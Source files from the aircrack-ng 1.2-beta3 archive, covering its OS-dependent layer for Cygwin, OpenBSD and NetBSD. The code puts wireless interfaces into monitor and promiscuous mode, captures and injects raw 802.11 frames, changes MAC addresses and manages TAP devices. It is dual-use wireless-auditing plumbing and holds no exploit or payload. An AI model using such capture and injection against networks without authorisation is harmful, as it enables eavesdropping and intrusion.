(write(priv->pc_pipe[1], &ri, sizeof(ri)) != sizeof(ri)) break; /* packet */ if (write(priv->pc_pipe[1], buf, len) != len) break; } priv->pc_running = -1; return NULL; } static struct wif *cygwin_open(char *iface) { struct wif *wi; struct priv_cygwin *priv; /* setup wi struct */ wi = wi_alloc(sizeof(*priv)); if (!wi) return NULL; wi->wi_read = cygwin_read; wi->wi_write = cygwin_write; wi->wi_set_channel = cygwin_set_channel; wi->wi_get_channel = cygwin_get_channel; wi->wi_close = cygwin_close; wi->wi_fd = cygwin_fd; wi->wi_get_mac = cygwin_get_mac; wi->wi_set_mac = cygwin_set_mac; wi->wi_get_rate = cygwin_get_rate; wi->wi_set_rate = cygwin_set_rate; wi->wi_get_monitor = cygwin_get_monitor; /* setup iface */ if (do_cygwin_open(wi, iface) == -1) goto err; /* setup private state */ priv = wi_priv(wi); priv->pc_wi = wi; /* setup reader */ if (pipe(priv->pc_pipe) == -1) goto err; priv->pc_running = 2; if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv)) goto err; priv->pc_running = 1; return wi; err: do_free(wi); return NULL; } struct wif *wi_open_osdep(char *iface) { return cygwin_open(iface); } /** * Return remaining battery time in seconds. * @return Battery time in seconds or 0 if no battery (or connected to power) */ int get_battery_state(void) { SYSTEM_POWER_STATUS powerStatus; int batteryTime = 0; if (GetSystemPowerStatus(&powerStatus) == TRUE) { if (powerStatus.ACLineStatus == 0) batteryTime = (int)powerStatus.BatteryLifeTime; } return batteryTime; } aircrack-ng-1.2-beta3/src/osdep/dummy_tap.c0000644000000000000000000000220010761053203017262 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for unsupported APIs. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include "osdep.h" static struct tif *ti_open_dummy(char *iface) { if (iface) {} /* XXX unused parameter */ return NULL; } struct tif *ti_open(char *iface) { return ti_open_dummy(iface); } aircrack-ng-1.2-beta3/src/osdep/common.h0000644000000000000000000000352511714165630016602 0ustar rootroot/* * (c) 2010-2012 Thomas D'Otreppe * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef _OSDEP_COMMON_H_ #define _OSDEP_COMMON_H_ int getFrequencyFromChannel(int channel); int getChannelFromFrequency(int frequency); /* // For later use, because aircrack-ng doesn't compile with MS compilers #if defined(WIN32) || defined(__WIN__) #define ftruncate(a, b) _chsize(a,b) #endif */ #endif aircrack-ng-1.2-beta3/src/osdep/openbsd_tap.c0000644000000000000000000001120310761053203017564 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_obsd { int to_fd; int to_ioctls; struct ifreq to_ifr; char to_name[MAX_IFACE_NAME]; int to_destroy; }; static int ti_do_open_obsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_obsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->to_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->to_name, sizeof(priv->to_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->to_ioctls = s; /* get flags */ ifr = &priv->to_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->to_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_obsd *priv) { ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr); } static void ti_close_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); if (priv->to_destroy) ti_destroy(priv); close(priv->to_fd); close(priv->to_ioctls); ti_do_free(ti); } static char *ti_name_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_name; } static int ti_set_mtu_obsd(struct tif *ti, int mtu) { struct tip_obsd *priv = ti_priv(ti); priv->to_ifr.ifr_mtu = mtu; return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr); } static int ti_set_mac_obsd(struct tif *ti, unsigned char *mac) { struct tip_obsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->to_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr); } static int ti_set_ip_obsd(struct tif *ti, struct in_addr *ip) { struct tip_obsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_obsd(struct tif *ti) { struct tip_obsd *priv = ti_priv(ti); return priv->to_fd; } static int ti_read_obsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_obsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_obsd(char *iface) { struct tif *ti; struct tip_obsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_obsd; ti->ti_set_mtu = ti_set_mtu_obsd; ti->ti_close = ti_close_obsd; ti->ti_fd = ti_fd_obsd; ti->ti_read = ti_read_obsd; ti->ti_write = ti_write_obsd; ti->ti_set_mac = ti_set_mac_obsd; ti->ti_set_ip = ti_set_ip_obsd; /* setup iface */ fd = ti_do_open_obsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->to_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_obsd(iface); } aircrack-ng-1.2-beta3/src/osdep/osdep.c0000644000000000000000000001152411600551106016404 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "osdep.h" #include "network.h" extern struct wif *file_open(char *iface); int wi_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { assert(wi->wi_read); return wi->wi_read(wi, h80211, len, ri); } int wi_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { assert(wi->wi_write); return wi->wi_write(wi, h80211, len, ti); } int wi_set_channel(struct wif *wi, int chan) { assert(wi->wi_set_channel); return wi->wi_set_channel(wi, chan); } int wi_get_channel(struct wif *wi) { assert(wi->wi_get_channel); return wi->wi_get_channel(wi); } int wi_set_freq(struct wif *wi, int freq) { assert(wi->wi_set_freq); return wi->wi_set_freq(wi, freq); } int wi_get_freq(struct wif *wi) { assert(wi->wi_get_freq); return wi->wi_get_freq(wi); } int wi_get_monitor(struct wif *wi) { assert(wi->wi_get_monitor); return wi->wi_get_monitor(wi); } char *wi_get_ifname(struct wif *wi) { return wi->wi_interface; } void wi_close(struct wif *wi) { assert(wi->wi_close); wi->wi_close(wi); } int wi_fd(struct wif *wi) { assert(wi->wi_fd); return wi->wi_fd(wi); } struct wif *wi_alloc(int sz) { struct wif *wi; void *priv; /* Allocate wif & private state */ wi = malloc(sizeof(*wi)); if (!wi) return NULL; memset(wi, 0, sizeof(*wi)); priv = malloc(sz); if (!priv) { free(wi); return NULL; } memset(priv, 0, sz); wi->wi_priv = priv; return wi; } void *wi_priv(struct wif *wi) { return wi->wi_priv; } int wi_get_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_get_mac); return wi->wi_get_mac(wi, mac); } int wi_set_mac(struct wif *wi, unsigned char *mac) { assert(wi->wi_set_mac); return wi->wi_set_mac(wi, mac); } int wi_get_rate(struct wif *wi) { assert(wi->wi_get_rate); return wi->wi_get_rate(wi); } int wi_set_rate(struct wif *wi, int rate) { assert(wi->wi_set_rate); return wi->wi_set_rate(wi, rate); } int wi_get_mtu(struct wif *wi) { assert(wi->wi_get_mtu); return wi->wi_get_mtu(wi); } int wi_set_mtu(struct wif *wi, int mtu) { assert(wi->wi_set_mtu); return wi->wi_set_mtu(wi, mtu); } struct wif *wi_open(char *iface) { struct wif *wi; wi = file_open(iface); if (wi == (struct wif*) -1) return NULL; if (!wi) wi = net_open(iface); if (!wi) wi = wi_open_osdep(iface); if (!wi) return NULL; strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface)-1); wi->wi_interface[sizeof(wi->wi_interface)-1] = 0; return wi; } /* tap stuff */ char *ti_name(struct tif *ti) { assert(ti->ti_name); return ti->ti_name(ti); } int ti_set_mtu(struct tif *ti, int mtu) { assert(ti->ti_set_mtu); return ti->ti_set_mtu(ti, mtu); } int ti_get_mtu(struct tif *ti) { assert(ti->ti_get_mtu); return ti->ti_get_mtu(ti); } void ti_close(struct tif *ti) { assert(ti->ti_close); ti->ti_close(ti); } int ti_fd(struct tif *ti) { assert(ti->ti_fd); return ti->ti_fd(ti); } int ti_read(struct tif *ti, void *buf, int len) { assert(ti->ti_read); return ti->ti_read(ti, buf, len); } int ti_write(struct tif *ti, void *buf, int len) { assert(ti->ti_write); return ti->ti_write(ti, buf, len); } int ti_set_mac(struct tif *ti, unsigned char *mac) { assert(ti->ti_set_mac); return ti->ti_set_mac(ti, mac); } int ti_set_ip(struct tif *ti, struct in_addr *ip) { assert(ti->ti_set_ip); return ti->ti_set_ip(ti, ip); } struct tif *ti_alloc(int sz) { struct tif *ti; void *priv; /* Allocate tif & private state */ ti = malloc(sizeof(*ti)); if (!ti) return NULL; memset(ti, 0, sizeof(*ti)); priv = malloc(sz); if (!priv) { free(ti); return NULL; } memset(priv, 0, sz); ti->ti_priv = priv; return ti; } void *ti_priv(struct tif *ti) { return ti->ti_priv; } aircrack-ng-1.2-beta3/src/osdep/openbsd.c0000644000000000000000000003016510761053203016730 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for OpenBSD. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" #ifndef IEEE80211_RADIOTAP_F_FCS #define IEEE80211_RADIOTAP_F_FCS 0x10 /* Frame includes FCS */ #endif #ifndef IEEE80211_IOC_CHANNEL #define IEEE80211_IOC_CHANNEL 0 #endif #ifndef le32toh #define le32toh(x) htole32(x) #endif struct priv_obsd { /* iface */ int po_fd; /* rx */ int po_nocrc; /* tx */ unsigned char po_buf[4096]; unsigned char *po_next; int po_totlen; /* setchan */ int po_s; struct ifreq po_ifr; struct ieee80211chanreq po_ireq; int po_chan; }; static void get_radiotap_info(struct priv_obsd *po, struct ieee80211_radiotap_header *rth, int *plen, struct rx_info *ri) { uint32_t present; uint8_t rflags = 0; int i; unsigned char *body = (unsigned char*) (rth+1); int dbm_power = 0, db_power = 0; /* reset control info */ if (ri) memset(ri, 0, sizeof(*ri)); /* get info */ present = le32toh(rth->it_present); for (i = IEEE80211_RADIOTAP_TSFT; i <= IEEE80211_RADIOTAP_EXT; i++) { if (!(present & (1 << i))) continue; switch (i) { case IEEE80211_RADIOTAP_TSFT: body += sizeof(uint64_t); break; case IEEE80211_RADIOTAP_FLAGS: rflags = *((uint8_t*)body); /* fall through */ case IEEE80211_RADIOTAP_RATE: body += sizeof(uint8_t); break; case IEEE80211_RADIOTAP_CHANNEL: if (ri) { ri->ri_channel = 1; } body += sizeof(uint16_t)*2; break; case IEEE80211_RADIOTAP_FHSS: body += sizeof(uint16_t); break; case IEEE80211_RADIOTAP_DBM_ANTSIGNAL: dbm_power = *body++; break; case IEEE80211_RADIOTAP_DBM_ANTNOISE: dbm_power -= *body++; break; case IEEE80211_RADIOTAP_DB_ANTSIGNAL: db_power = *body++; break; case IEEE80211_RADIOTAP_DB_ANTNOISE: db_power -= *body++; break; default: i = IEEE80211_RADIOTAP_EXT+1; break; } } /* set power */ if (ri) { if (dbm_power) ri->ri_power = dbm_power; else ri->ri_power = db_power; } /* XXX cache; drivers won't change this per-packet */ /* check if FCS/CRC is included in packet */ if (po->po_nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) { *plen -= IEEE80211_CRC_LEN; po->po_nocrc = 1; } } static unsigned char *get_80211(struct priv_obsd *po, int *plen, struct rx_info *ri) { struct bpf_hdr *bpfh; struct ieee80211_radiotap_header *rth; void *ptr; unsigned char **data; int *totlen; data = &po->po_next; totlen = &po->po_totlen; assert(*totlen); /* bpf hdr */ bpfh = (struct bpf_hdr*) (*data); assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */ *totlen -= bpfh->bh_hdrlen; /* check if more packets */ if ((int)bpfh->bh_caplen < *totlen) { int tot = bpfh->bh_hdrlen + bpfh->bh_caplen; int offset = BPF_WORDALIGN(tot); *data = (unsigned char*)bpfh + offset; *totlen -= offset - tot; /* take into account align bytes */ } else if ((int)bpfh->bh_caplen > *totlen) abort(); *plen = bpfh->bh_caplen; *totlen -= bpfh->bh_caplen; assert(*totlen >= 0); /* radiotap */ rth = (struct ieee80211_radiotap_header*) ((char*)bpfh + bpfh->bh_hdrlen); get_radiotap_info(po, rth, plen, ri); *plen -= rth->it_len; assert(*plen > 0); /* data */ ptr = (char*)rth + rth->it_len; return ptr; } static int obsd_get_channel(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); if(ioctl(po->po_s, SIOCG80211CHANNEL, (caddr_t)&channel) < 0) return -1; return channel.i_channel; } static int obsd_set_channel(struct wif *wi, int chan) { struct priv_obsd *po = wi_priv(wi); struct ieee80211chanreq channel; memset(&channel, 0, sizeof(channel)); strlcpy(channel.i_name, wi_get_ifname(wi), sizeof(channel.i_name)); channel.i_channel = chan; if(ioctl(po->po_s, SIOCS80211CHANNEL, (caddr_t)&channel) < 0) return -1; po->po_chan = chan; return 0; } static int obsd_read(struct wif *wi, unsigned char *h80211, int len, struct rx_info *ri) { struct priv_obsd *po = wi_priv(wi); unsigned char *wh; int plen; assert(len > 0); /* need to read more */ while (po->po_totlen == 0) { po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf)); if (po->po_totlen == -1) { po->po_totlen = 0; return -1; } po->po_next = po->po_buf; } /* read 802.11 packet */ wh = get_80211(po, &plen, ri); if (plen > len) plen = len; assert(plen > 0); memcpy(h80211, wh, plen); if(ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi); return plen; } static int obsd_write(struct wif *wi, unsigned char *h80211, int len, struct tx_info *ti) { struct priv_obsd *po = wi_priv(wi); int rc; /* XXX make use of ti */ if (ti) {} rc = write(po->po_fd, h80211, len); if (rc == -1) return rc; return 0; } static void do_free(struct wif *wi) { assert(wi->wi_priv); free(wi->wi_priv); wi->wi_priv = 0; free(wi); } static void obsd_close(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); close(po->po_fd); close(po->po_s); do_free(wi); } static int do_obsd_open(struct wif *wi, char *iface) { int i; char buf[64]; int fd = -1; struct ifreq ifr; unsigned int dlt = DLT_IEEE802_11_RADIO; int s; unsigned int flags; struct ifmediareq ifmr; int *mwords; struct priv_obsd *po = wi_priv(wi); unsigned int size=sizeof(po->po_buf); /* basic sanity check */ if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1; /* open wifi */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) return -1; po->po_s = s; /* set iface up and promisc */ memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock; flags = ifr.ifr_flags; flags |= IFF_UP | IFF_PROMISC; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock; /* monitor mode */ memset(&ifmr, 0, sizeof(ifmr)); strncpy(ifmr.ifm_name, iface, IFNAMSIZ); if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock; assert(ifmr.ifm_count != 0); mwords = (int *)malloc(ifmr.ifm_count * sizeof(int)); if (!mwords) goto close_sock; ifmr.ifm_ulist = mwords; if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) { free(mwords); goto close_sock; } free(mwords); memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ); ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR; if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock; /* setup ifreq for chan that may be used in future */ strncpy(po->po_ireq.i_name, iface, IFNAMSIZ); /* same for ifreq [mac addr] */ strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ); /* open bpf */ for(i = 0; i < 256; i++) { snprintf(buf, sizeof(buf), "/dev/bpf%d", i); fd = open(buf, O_RDWR); if(fd < 0) { if(errno != EBUSY) return -1; continue; } else break; } if(fd < 0) goto close_sock; if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf; strncpy(ifr.ifr_name, iface, IFNAMSIZ); if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf; if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf; if(ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf; dlt = 1; if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf; return fd; close_sock: close(s); return -1; close_bpf: close(fd); goto close_sock; } static int obsd_fd(struct wif *wi) { struct priv_obsd *po = wi_priv(wi); return po->po_fd; } static int obsd_get_mac(struct wif *wi, unsigned char *mac) { struct ifaddrs *ifa, *p; char *name = wi_get_ifname(wi); int rc = -1; struct sockaddr_dl* sdp; if (getifaddrs(&ifa) == -1) return -1; p = ifa; while (p) { if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0) { sdp = (struct sockaddr_dl*) p->ifa_addr; memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6); rc = 0; break; } p = p->ifa_next; } freeifaddrs(ifa); return rc; } static int obsd_get_monitor(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_get_rate(struct wif *wi) { if (wi) {} /* XXX unused */ /* XXX */ return 1000000; } static int obsd_set_rate(struct wif *wi, int rate) { if (wi || rate) {} /* XXX unused */ /* XXX */ return 0; } static int obsd_set_mac(struct wif *wi, unsigned char *mac) { struct priv_obsd *po = wi_priv(wi); struct ifreq *ifr = &po->po_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(po->po_s, SIOCSIFLLADDR, ifr); } static struct wif *obsd_open(char *iface) { struct wif *wi; struct priv_obsd *po; int fd; /* setup wi struct */ wi = wi_alloc(sizeof(*po)); if (!wi) return NULL; wi->wi_read = obsd_read; wi->wi_write = obsd_write; wi->wi_set_channel = obsd_set_channel; wi->wi_get_channel = obsd_get_channel; wi->wi_close = obsd_close; wi->wi_fd = obsd_fd; wi->wi_get_mac = obsd_get_mac; wi->wi_set_mac = obsd_set_mac; wi->wi_get_rate = obsd_get_rate; wi->wi_set_rate = obsd_set_rate; wi->wi_get_monitor = obsd_get_monitor; /* setup iface */ fd = do_obsd_open(wi, iface); if (fd == -1) { do_free(wi); return NULL; } /* setup private state */ po = wi_priv(wi); po->po_fd = fd; return wi; } struct wif *wi_open_osdep(char *iface) { return obsd_open(iface); } int get_battery_state(void) { #if defined(__FreeBSD__) int value; size_t len; len = 1; value = 0; sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0); if (value == 0) { sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0); value = value * 60; } else { value = 0; } return( value ); #elif defined(_BSD_SOURCE) struct apm_power_info api; int apmfd; if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0; if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0) { close(apmfd); return 0; } close(apmfd); if (api.battery_state == APM_BATT_UNKNOWN || api.battery_state == APM_BATTERY_ABSENT || api.battery_state == APM_BATT_CHARGING || api.ac_state == APM_AC_ON) { return 0; } return ((int)(api.minutes_left))*60; #else return 0; #endif } aircrack-ng-1.2-beta3/src/osdep/netbsd_tap.c0000644000000000000000000001120010761053203017406 0ustar rootroot /* * Copyright (c) 2007, 2008, Andrea Bittau * * OS dependent API for NetBSD. TAP routines * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include "osdep.h" struct tip_nbsd { int tn_fd; int tn_ioctls; struct ifreq tn_ifr; char tn_name[MAX_IFACE_NAME]; int tn_destroy; }; static int ti_do_open_nbsd(struct tif *ti, char *name) { int fd; char *iface = "/dev/tap"; struct stat st; struct tip_nbsd *priv = ti_priv(ti); int s; unsigned int flags; struct ifreq *ifr; /* open tap */ if (name) iface = name; else priv->tn_destroy = 1; /* we create, we destroy */ fd = open(iface, O_RDWR); if (fd == -1) return -1; /* get name */ if(fstat(fd, &st) == -1) goto err; snprintf(priv->tn_name, sizeof(priv->tn_name)-1, "%s", devname(st.st_rdev, S_IFCHR)); /* bring iface up */ s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) goto err; priv->tn_ioctls = s; /* get flags */ ifr = &priv->tn_ifr; memset(ifr, 0, sizeof(*ifr)); snprintf(ifr->ifr_name, sizeof(ifr->ifr_name)-1, "%s", priv->tn_name); if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2; flags = ifr->ifr_flags; /* set flags */ flags |= IFF_UP; ifr->ifr_flags = flags & 0xffff; if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2; return fd; err: /* XXX destroy */ close(fd); return -1; err2: close(s); goto err; } static void ti_do_free(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); free(priv); free(ti); } static void ti_destroy(struct tip_nbsd *priv) { ioctl(priv->tn_ioctls, SIOCIFDESTROY, &priv->tn_ifr); } static void ti_close_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); if (priv->tn_destroy) ti_destroy(priv); close(priv->tn_fd); close(priv->tn_ioctls); ti_do_free(ti); } static char *ti_name_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_name; } static int ti_set_mtu_nbsd(struct tif *ti, int mtu) { struct tip_nbsd *priv = ti_priv(ti); priv->tn_ifr.ifr_mtu = mtu; return ioctl(priv->tn_ioctls, SIOCSIFMTU, &priv->tn_ifr); } static int ti_set_mac_nbsd(struct tif *ti, unsigned char *mac) { struct tip_nbsd *priv = ti_priv(ti); struct ifreq *ifr = &priv->tn_ifr; ifr->ifr_addr.sa_family = AF_LINK; ifr->ifr_addr.sa_len = 6; memcpy(ifr->ifr_addr.sa_data, mac, 6); return ioctl(priv->tn_ioctls, SIOCSIFADDR, ifr); } static int ti_set_ip_nbsd(struct tif *ti, struct in_addr *ip) { struct tip_nbsd *priv = ti_priv(ti); struct ifaliasreq ifra; struct sockaddr_in *s_in; /* assume same size */ memset(&ifra, 0, sizeof(ifra)); strncpy(ifra.ifra_name, priv->tn_ifr.ifr_name, IFNAMSIZ); s_in = (struct sockaddr_in *) &ifra.ifra_addr; s_in->sin_family = PF_INET; s_in->sin_addr = *ip; s_in->sin_len = sizeof(*s_in); return ioctl(priv->tn_ioctls, SIOCAIFADDR, &ifra); } static int ti_fd_nbsd(struct tif *ti) { struct tip_nbsd *priv = ti_priv(ti); return priv->tn_fd; } static int ti_read_nbsd(struct tif *ti, void *buf, int len) { return read(ti_fd(ti), buf, len); } static int ti_write_nbsd(struct tif *ti, void *buf, int len) { return write(ti_fd(ti), buf, len); } static struct tif *ti_open_nbsd(char *iface) { struct tif *ti; struct tip_nbsd *priv; int fd; /* setup ti struct */ ti = ti_alloc(sizeof(*priv)); if (!ti) return NULL; ti->ti_name = ti_name_nbsd; ti->ti_set_mtu = ti_set_mtu_nbsd; ti->ti_close = ti_close_nbsd; ti->ti_fd = ti_fd_nbsd; ti->ti_read = ti_read_nbsd; ti->ti_write = ti_write_nbsd; ti->ti_set_mac = ti_set_mac_nbsd; ti->ti_set_ip = ti_set_ip_nbsd; /* setup iface */ fd = ti_do_open_nbsd(ti, iface); if (fd == -1) { ti_do_free(ti); return NULL; } /* setup private state */ priv = ti_priv(ti); priv->tn_fd = fd; return ti; } struct tif *ti_open(char *iface) { return ti_open_nbsd(iface); } aircrack-ng-1.2-beta3/src/osdep/packed.h0000644000000000000000000000347711714766441016556 0ustar rootroot/*- * Pack structures * * Copyright (c) 2007, 2008, Andrea Bittau * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and * NON-INFRINGEMENT. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, * MA 02111-1307, USA. * * In addition, as a special exception, the copyright holders give * permission to link the code of portions of this program with the * OpenSSL library under certain conditions as described in each * individual source file, and distribute linked combinations * including the two. * You must obey the GNU General Public License in all respects * for all of the code used other than OpenSSL. If you modify * file(s) with this exception, you may extend this exception to your * version of the file(s), but you are not obligated to do so. If you * do not wish to do so, delete this exception statement from your * version. If you delete this exception statement from all source * files in the program, then also delete it here. */ #ifndef __AIRCRACK_NG_OSDEP_PACKED_H__ #define __AIRCRACK_NG_OSDEP_PACKED_H__ #ifndef __packed #define __packed __attribute__ ((__packed__)) #endif /* __packed */ #ifndef __aligned #define __aligned(n) #endif #endif /* __AIRCRACK_NG_OSEDEP_PACKED_H__ */ aircrack-ng-1.2-beta3/src/osdep/tap-win32/0000755000000000000000000000000012316431260016652 5ustar 